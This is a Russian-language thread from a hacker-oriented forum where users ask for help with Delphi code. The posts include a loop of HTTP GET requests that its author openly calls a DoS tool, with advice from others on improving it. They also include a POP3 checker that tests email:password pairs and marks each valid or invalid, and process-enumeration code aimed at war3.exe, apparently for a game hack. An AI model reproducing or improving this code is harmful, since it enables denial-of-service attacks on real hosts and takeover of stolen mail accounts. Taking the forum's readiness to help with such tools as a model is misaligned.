RDot: White Hat Security Community

RDot: White Hat Security Community (https://rdot.org/forum/index.php)
-   Software development (https://rdot.org/forum/forumdisplay.php?f=19)
-   -   Вопросы по Delphi/Pascal (https://rdot.org/forum/showthread.php?t=11)

Юра 11.07.2010 16:49

Мне кажется то в самом коде ..

W!z@rD 11.07.2010 18:56

на будущее:
1. скрины в jpg/jpeg/png формате
2. Пуск - выполнить - cmd.exe -> остальные команды (консольное окно закрываться не будет)

Юра 11.07.2010 19:27

Пинг 165 мсек..
Что делать блин?

mailbrush 12.07.2010 10:36

Цитата:

Сообщение от Юра (Сообщение 2264)
Пинг 165 мсек..
Что делать блин?

Не мало, но и не много.
Меняю свое мнение, возможно, инди что-то мутит.
Вообще, не советую тебе его использовать, попробуй на сокеты перепиши + многопоточность (через TThread проще).

ReanimatoR 12.07.2010 12:54

Получение списка процессов работает на win7\vista от прав администратора, а вот на XP не работает О_О?!
// Delphi 7


Код:

procedure TForm1.FormCreate(Sender: TObject);

var p:PROCESSENTRY32;ct:cardinal;th:Cardinal; mp:array[0..255] of char;
 mm:pchar;ts:TSearchRec; sst:STARTUPINFO;  ss,s:string;

begin
Edit3.Text:= (GetDiskSerialNumber('C'));
ct:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
 Process32First(ct,p);
 while Process32Next(ct,p) do begin
  begin
  if ExtractFileName(Application.ExeName)=string(p.szExeFile) then
    OpenProcessToken(p.th32ProcessID,TOKEN_READ,th);
    if string(p.szExeFile) = 'war3.exe'  then begin
    Memo1.Text := 'War3.exe ??????. ??? PID '+inttostr(p.th32ProcessID);
    Memo2.Text :=  inttostr(p.th32ProcessID);
    tid :=  p.th32ProcessID;
    war3 := 1;
    end;
  ListBox1.Items.Append(string(p.szExeFile));
  ListBox2.Items.Append(inttostr(p.th32ProcessID));

  end;
 end;
 if war3 = 0 then begin
 msgbox('Ошибка блиаааа','Не могу найти процесс war3.exe, либо вы нихуя не запустили warcraft III, либо запустили программу без прав администратора, в любом случае идите нахуй, программа работать так не будет.');
 end;


Nightmare 12.07.2010 15:21

Вероятно тут мне могут помочь теоретически, но не уверен...
 
Есть функция отправки GET запроса на хост через сокеты, мне нужно сделать её в бесконечном цикле, чтобы она постоянно слала на хост этот запрос.
Но проблема в том, что при реализации этого через библиотеку WinSock запросы успешно выполняются, но и + ко всему на компьютере открывается кучу соединений, в результате чего компьютер попросту намертво виснет.
Вот моя функция:

Код:

function fWSRecv():string;
var
hSocket: TSocket;
hHost: PHostEnt;
hAddr: TSockAddrIn;
hTimeout: TTimeVal;
samzapros,kuda:string;
begin
 kuda:='localhost';
 samzapros:='GET /log/ass.php' + #13#10 +
'Host: localhost' + #13#10 +
'User-Agent: Mozilla/5.0' + #13#10 +
'Accept: text/html' + #13#10 +
'Accept-Language: ru' + #13#10 +
'Accept-Charset: windows-1251' + #13#10 +
'Connection: close' + #13#10#13#10;
 hHost := gethostbyname(PChar(kuda));
 hAddr.sin_family := PF_INET;
 hAddr.sin_port := htons(80);
 hAddr.sin_addr := pinaddr(hHost^.h_addr^)^;
 hTimeout.tv_usec := 0;
// hTimeout.tv_sec := 10000;

      while true do begin
 hSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 if hSocket <> 0 then begin
 setsockopt(hSocket, SOL_SOCKET, SO_RCVTIMEO, @hTimeout, sizeof(ttimeval));
 if connect(hSocket, hAddr, SizeOf(hAddr))=0 then begin
 Send(hSocket, samzapros[1], length(samzapros), 0);
  sleep(1000);
 end;
 CloseSocket(hSocket);
 end;
 end;
end;

Вызываю так:
var
ws:TwsaData;
begin
WSAStartup($101, ws);
fWSRecv;

и всё, куча соединений и т.д... вообще даже приблизительно не знаю, в каком месте у меня ошибка.

W!z@rD 12.07.2010 17:58

Nightmare
1. имха 1 секунды маловато будет, получается что-то вроде ддоса.
2. За 1 секунду врятли ресурсы успевают освобождаться.
3. сделай это в отдельном потоке с минимальным приоритетом.
4. if hSocket <> 0 then begin, а если ошибка?

Nightmare 12.07.2010 18:14

Цитата:

Сообщение от W!z@rD (Сообщение 2416)
Nightmare
1. имха 1 секунды маловато будет, получается что-то вроде ддоса.
2. За 1 секунду врятли ресурсы успевают освобождаться.
3. сделай это в отдельном потоке с минимальным приоритетом.
4. if hSocket <> 0 then begin, а если ошибка?

Ну вообще то это и есть именно dos, потому ставить 10-20 секунд не вариант.
в отдельном потоке это дело тоже ничего не решает, а приоритет хз поможет\нет.

Юра 16.07.2010 12:14

Никто не может помочь?(
Цитата:

for l:=0 to StringGrid1.RowCount-1 do
begin
Email1 := Pos('@', StringGrid1.Cells[0, l + 1]);
Username := Copy(StringGrid1.Cells[0, l + 1], 1, Email1 - 1);
pop:='pop.'+copy(StringGrid1.Cells[0, l + 1], Email1 + 1, Length(StringGrid1.Cells[0, l + 1]));
idpop31.Username := Username;
idPop31.Password := StringGrid1.Cells[1,l+1];
idpop31.Host := pop;
try try
IdPOP31.Connect(5000);
if IdPOP31.Connected then
StringGrid1.Cells[2,l+1]:='Валид';
except
StringGrid1.Cells[2,l+1]:='Невалид';
end;
finally
IdPOP31.Disconnect;
end;
end;
end;

W!z@rD 16.07.2010 12:17

>>try try

1. Что это?

try
...
except
...
finally

2. Прозвучали предложения: WinSock, многопоточность.


Часовой пояс GMT +3, время: 09:48.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot